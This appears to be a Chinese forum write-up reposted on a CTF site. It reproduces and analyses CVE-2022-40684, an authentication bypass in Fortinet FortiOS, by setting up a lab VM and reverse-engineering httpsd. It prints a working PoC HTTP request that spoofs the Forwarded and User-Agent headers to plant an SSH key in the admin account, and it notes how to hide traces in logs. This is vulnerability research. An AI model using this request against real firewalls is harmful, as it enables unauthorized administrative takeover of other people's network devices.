CVE-2022-40684:防火墙身份认证绕过漏洞

IoT 2个月前 admin
196 0 0

CVE-2022-40684:防火墙身份认证绕过漏洞

本文为看雪论坛优秀文章

看雪论坛作者ID:mb_wujuesou





漏洞介绍


Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。

近日,Fortinet官方发布安全公告,修复了其多个产品中的一个身份验证绕过漏洞(CVE-2022-40684),其CVSSv3评分为9.8。该漏洞可能允许攻击者在易受攻击的设备上执行未经授权的操作,攻击者通过向易受攻击的目标发送特制的 HTTP 或 HTTPS 请求进行绕过身份认证以管理员身份在控制面板中执行任意操作。




影响版本


7.0.0 <= FortiOS <= 7.0.67.2.0 <= FortiOS <= 7.2.17.0.0 <= FortiProxy <= 7.0.6FortiProxy = 7.2.0FortiSwitchManager = 7.0.0FortiSwitchManager = 7.2.0




漏洞复现


1、本次复现使用防火墙的版本为forigate-vm64 7.2.1,内部 Fotios 版本与防火墙版本一致,首先下载好虚拟机镜像,解压后,使用VMware导入:
CVE-2022-40684:防火墙身份认证绕过漏洞
2、给forigate配置ip和网关,确保可以上网,首先打开虚拟机设置。
CVE-2022-40684:防火墙身份认证绕过漏洞
点击编辑,选择虚拟网络编辑器,查看VMnet8的子网IP和网关,下面forigate-vm的网关要和这里的保持一致,同时还要保证主机的网关也为192.168.27.2。

CVE-2022-40684:防火墙身份认证绕过漏洞

CVE-2022-40684:防火墙身份认证绕过漏洞

3、打开虚拟机,初始账号admin 密码空,修改密码后重新登录
show system interface

使用命令show system interface可以查看接口的信息。
CVE-2022-40684:防火墙身份认证绕过漏洞
配置ip地址
config system interfaceset mode staticset ip 192.168.27.99 255.255.255.0set allowaccess http https ping sshend
CVE-2022-40684:防火墙身份认证绕过漏洞
配置网关
config router staticedit 1set device port1set gateway 192.168.27.2end

ping一下,可以ping通:
CVE-2022-40684:防火墙身份认证绕过漏洞

4、打开浏览器输入192.168.27.99 进入登录界面,输入之前设置的账户密码登录
CVE-2022-40684:防火墙身份认证绕过漏洞
需要验证,在官网注册FortiGate Cloud (forticloud.com)注册账号,在此处登录获取免费的试用license。

CVE-2022-40684:防火墙身份认证绕过漏洞
登录成功:
CVE-2022-40684:防火墙身份认证绕过漏洞

5、使用POC触发漏洞

POC如下:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1Host: 192.168.27.99User-Agent: Report RunnerAccept-Encoding: gzip, deflateConnection:closeForwarded: for=127.0.0.1; by=127.0.0.1;Content-Type:application/jsonContent-Length: 427{"ssh-public-key1": ""ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsEIb3qw+aveFIyn2bV+ZSsrgAoVKJN5TEjTtVEBq8i/C050DSFxXvQiEIm73Kc9H+6oHDU5A1ziEfMu12hSK7sJ6ThDd6Qvn9DjOtWKRUVDLzIHZGQq7v3YEg6H9MXkvx3NrcSOoIuTUEhCKo/ev56qx+BC6rsy28VAO9Bh4qzUWdlafQrpUHCbC4fGDdhPl7pEVPuCrauzP+FowrWD6CWnulTv3LkS7frlXj8SOpWOs+fZFq0FRUKZWnB2oAwl4/i9WM76D9PVXefbx4OMEc/rExTSLj4tJhORCpLRfd0IAJATKTydgUrBHefO/I0HjnjMzyIcj/VmMwEvQeWTMIw== rsa 2048-112522""}

使用xshell7 生成ssh公钥:
CVE-2022-40684:防火墙身份认证绕过漏洞
生成公钥:
CVE-2022-40684:防火墙身份认证绕过漏洞
发起攻击:
CVE-2022-40684:防火墙身份认证绕过漏洞
进行ssh连接:
CVE-2022-40684:防火墙身份认证绕过漏洞
无需知道防火墙密码,连接成功,可执行任意命令。
CVE-2022-40684:防火墙身份认证绕过漏洞





原理分析


将forigate-vm中的fortios.vmdk复制出来进行分析。

1、安装libguestfs

libguestfs 是一组 Linux 下的 C 语言的 API ,用来访问虚拟机的磁盘映像文件,几乎可访问任意类型的文件系统。
sudo apt install libguestfs-tools

2、查看磁盘分区情况
  sudo virt-filesystems -a fortios.vmdk

3、挂载
sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro mount_dir_name(替换成自己的目标文件夹)

4、挂载成功后,rootfs.gz为文件系统压缩包,我们将其复制出来。

5、解压,提取,查看文件
gunzpi rootfs.gzcpio -i 2> /dev/null < rootfsls

CVE-2022-40684:防火墙身份认证绕过漏洞

6、解压所有的压缩包,发现不能正常解压
xz --decompress *.xz

7、尝试查找其他的解压程序
find . -name xz./sbin/xz --decompress *.xz

发生错误,将其修改至主机系统的链接器路径,patch后并保存:
file ./sbin/xzpatchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz./sbin/xz --decompress *.xzls *.tar
CVE-2022-40684:防火墙身份认证绕过漏洞
CVE-2022-40684:防火墙身份认证绕过漏洞
接下来,解压缩文件并开始检查其内容。我们发现包含大量二进制文件,其中许多是符号链接。以及该文件夹包含管理界面的前端 Web 代码,管理界面的 NodeJs 后端,以及一个 libaries 文件夹和一个配置文件夹。

8、查看官方的补丁,差异如下:
CVE-2022-40684:防火墙身份认证绕过漏洞
此差异显示代理处理程序显式设置,和标头。这为我们提供了一个提示,说明从哪里开始寻找有关如何利用此漏洞的线索。

于是,进入到bin目录后寻找httpsd程序。httpsd是init程序的软连接,并且这里可以看出init程序非常大,逆向该程序比较费时。所以我们可以根据调试信息先来逆向程序逻辑。
ls -la httpsdls -ls init
CVE-2022-40684:防火墙身份认证绕过漏洞
9、运行以下命令开启httpsd程序的调试信息
diagnose debug enablediagnose debug application httpsd -1diagnose debug cli 8

CVE-2022-40684:防火墙身份认证绕过漏洞
使用poc进行测试,操作的信息会输出到屏幕上:
CVE-2022-40684:防火墙身份认证绕过漏洞
10、分析程序


在IDA pro中打开init程序,搜索字符串fweb_authorize_all进行定位,发现函数sub_C4B590调用了fweb_authorize_all函数。
CVE-2022-40684:防火墙身份认证绕过漏洞
进入到函数fweb_authorize_all中,分析可得,在身份认证过程中,首先调用fweb_authorize_all判断v2[8]是否等于"127.0.0.1",即判断是否本机访问。
CVE-2022-40684:防火墙身份认证绕过漏洞
如果本机访问则sub_C50E80函数内部继续判断接口如果是否为vsys_fgfm接口。
CVE-2022-40684:防火墙身份认证绕过漏洞
随后取Forwarded头的value值,strstr函数查找"for="的位置,随后执行if结构体内容,再次判断Forwarded_header_content_tmp中是否存在"by"字符,如果判断不通过并不会进入到api_check_access函数中。
CVE-2022-40684:防火墙身份认证绕过漏洞
从该函数中退出来,继续往上跟踪,发现在地址C4AC70处,先调用了sub_C4B590函数,然后ap_hook_handler hook了sub_C4AC60函数。
CVE-2022-40684:防火墙身份认证绕过漏洞
进入到sub_C4AC60函数:
CVE-2022-40684:防火墙身份认证绕过漏洞
接着往下进入函数sub_C4C480,发现这里出现了调试信息里的fweb_debug_final,我们分析的方向应该没错。
CVE-2022-40684:防火墙身份认证绕过漏洞
从fweb_debug_final往上看,进入sub_C4BF20函数:
CVE-2022-40684:防火墙身份认证绕过漏洞
sub_C4BF20函数返回了sub_C4BB20函数,进入该函数,发现了调试信息出现的字符fweb_debug_init。
CVE-2022-40684:防火墙身份认证绕过漏洞
重新回到sub_C4C480,接下来看一下fweb_debug_init与fweb_debug_final之间的两个函数v3[1]函数和sub_C4C2A0。首先,我们跟进分析一下v3[1]函数,往上看,v3=a2,而a2是函数sub_C4C480的参数
CVE-2022-40684:防火墙身份认证绕过漏洞
通过交叉引用,发现a2参数为off_3FEA400函数数组的地址:
CVE-2022-40684:防火墙身份认证绕过漏洞
继续往下:
CVE-2022-40684:防火墙身份认证绕过漏洞
发现从此处会调用一系列hanler函数,这里v3应该对应sub_c929F0函数。查看sub_c929F0函数,函数中调用了api_check_access函数,并且程序会根据api_check_access返回值返回用户对应响应码的reponse。
CVE-2022-40684:防火墙身份认证绕过漏洞
进入api_check_access函数中进行查看:
CVE-2022-40684:防火墙身份认证绕过漏洞
该函数中无任何输出,分析后发现sub_c929F0函数中调用了handle_cli_request输出了调试信息。该handler函数执行完毕并返回执行fweb_debug_final函数,随后结束该次event响应。

到此处,我们大概知道了API的调用流程,但调试界面的一些信息我们并没有跟踪到,在IDA中搜索api_access_check_for_trusted_access字符,发现api_access_check_for_trusted_access函数中调用sub_C510D0,传入参数为"Node.js"。
CVE-2022-40684:防火墙身份认证绕过漏洞
sub_C510D0函数中判断表单中User-Agent的value值是否与Node.js是否相同,如果不是"Node.js",则判断User-Agent的value值是否与Report Runner是否相同。
CVE-2022-40684:防火墙身份认证绕过漏洞
进入到以上俩种方式中的某一种,用户赋值为"Local_Process_Access",此时会绕过身份认证。分析到这里,我们就可以知道要想攻击成功,需要设置Forwarded头value值必须为"for=",后面可以设置127.0.0.1来隐藏防火墙中的攻击记录,而User-Agent的value可以设置"Node.js"和"Report Runner"俩种中的一个。

参考链接:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/
https://www.ctfiot.com/70650.html
https://zhuanlan.zhihu.com/p/575575181



CVE-2022-40684:防火墙身份认证绕过漏洞


看雪ID:mb_wujuesou

https://bbs.pediy.com/user-home-968133.htm

*本文由看雪论坛 mb_wujuesou 原创,转载请注明来自看雪社区

CVE-2022-40684:防火墙身份认证绕过漏洞

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们


CVE-2022-40684:防火墙身份认证绕过漏洞


CVE-2022-40684:防火墙身份认证绕过漏洞

球分享

CVE-2022-40684:防火墙身份认证绕过漏洞

球点赞

CVE-2022-40684:防火墙身份认证绕过漏洞

球在看


CVE-2022-40684:防火墙身份认证绕过漏洞

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):CVE-2022-40684:防火墙身份认证绕过漏洞

版权声明:admin 发表于 2022年12月20日 下午6:02。
转载请注明:CVE-2022-40684:防火墙身份认证绕过漏洞 | CTF导航

相关文章

暂无评论

暂无评论...